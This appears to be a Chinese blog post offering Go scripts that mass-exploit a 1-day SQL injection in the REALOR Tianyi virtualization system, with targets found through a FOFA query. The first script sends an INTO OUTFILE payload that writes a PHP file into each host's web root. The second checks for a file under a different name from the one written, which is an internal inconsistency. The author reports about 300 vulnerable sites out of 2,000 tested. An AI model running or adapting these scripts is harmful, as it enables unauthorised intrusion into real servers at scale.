利用Go语言批量刷公益 瑞友天翼(1day)
前几天爆出的瑞友天翼1day还是比较很热门的,如果想挖公益的话那必然还是要扫描器批量的。
go的线程众所周知,直接贴代码自己测试吧
fofa语句: ’
product="REALOR-天翼应用虚拟化系统"
判断网站是否存活,且进行写入文件。
package main import ( "bufio" "fmt" "net/http" "os" "sync" ) func main() { // 打开1.txt文件 inputFile, err := os.Open("1.txt") if err != nil { fmt.Println("Open file error:", err) return } defer inputFile.Close() // 创建存活链接.txt文件 outputFile, err := os.Create("存活链接.txt") if err != nil { fmt.Println("Create file error:", err) return } defer outputFile.Close() // 创建一个带缓冲的channel urlChan := make(chan string, 1000) // 使用goroutine并发请求URL var wg sync.WaitGroup for i := 0; i < 100; i++ { wg.Add(1) go func() { for url := range urlChan { resp, err := http.Get(url + "/AgentBoard.XGI?user=%27%7C%7C%271%27%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27C%3A%2FProgram%20Files%2FRealFriend%2FRap%20Server%2FWebRoot%2Fchips.php%27%20LINES%20TERMINATED%20BY%200x3c3f706870206563686f202268656c6c6c6f20727569796f75223b3f3e--%20-&cmd=UserLogin") if err != nil { fmt.Println(url, "==404") continue } defer resp.Body.Close() if resp.StatusCode == 200 { fmt.Println(url, "==200") outputFile.WriteString(url + " ") } else { fmt.Println(url, "==404") } } wg.Done() }() } // 读取1.txt文件中的URL,并发送到channel中 scanner := bufio.NewScanner(inputFile) for scanner.Scan() { urlChan <- scanner.Text() } // 关闭channel close(urlChan) // 等待所有goroutine结束 wg.Wait() }
响应状态码为200的链接将会导出到 当前目录下 存活链接.txt的文件中
后续我们还要判断文件是否写入成功,如果访问我们的文件如果状态为200即可证明漏洞存在
package main import ( "bufio" "fmt" "net/http" "os" "sync" ) func main() { // 打开200.txt文件 file, err := os.Open("存活链接.txt") if err != nil { panic(err) } defer file.Close() // 创建漏洞链接.txt文件 output, err := os.Create("漏洞链接.txt") if err != nil { panic(err) } defer output.Close() // 创建一个带缓冲的读取器 scanner := bufio.NewScanner(file) // 创建等待组 var wg sync.WaitGroup // 设置最大并发数 maxConcurrent := 50 semaphore := make(chan struct{}, maxConcurrent) // 循环读取文件中的每一行 for scanner.Scan() { url := scanner.Text() + "/11nxxx.php" // 限制并发数 semaphore <- struct{}{} wg.Add(1) go func() { defer wg.Done() // 发送HTTP请求 resp, err := http.Get(url) if err != nil { fmt.Println(url, "==不存在漏洞") <-semaphore return } defer resp.Body.Close() // 判断HTTP响应状态码 if resp.StatusCode == 200 { fmt.Println(url, "==漏洞存在!!") fmt.Fprintln(output, url) } else { fmt.Println(url, "==no") } // 释放信号量 <-semaphore }() } // 等待所有goroutine执行完毕 wg.Wait() }
运行结束即在目录下生成一个文本文档。打开就是你们想要的了
测试了两千个站点,结果显示存在大概300个站点有漏洞
本人不太用golang写。所以代码可能有点烂,我的原则是能用就行。也欢迎大佬指点
以上均在靶场和一些授权的地方测试,网络不是法外之地,请遵循网络安全法。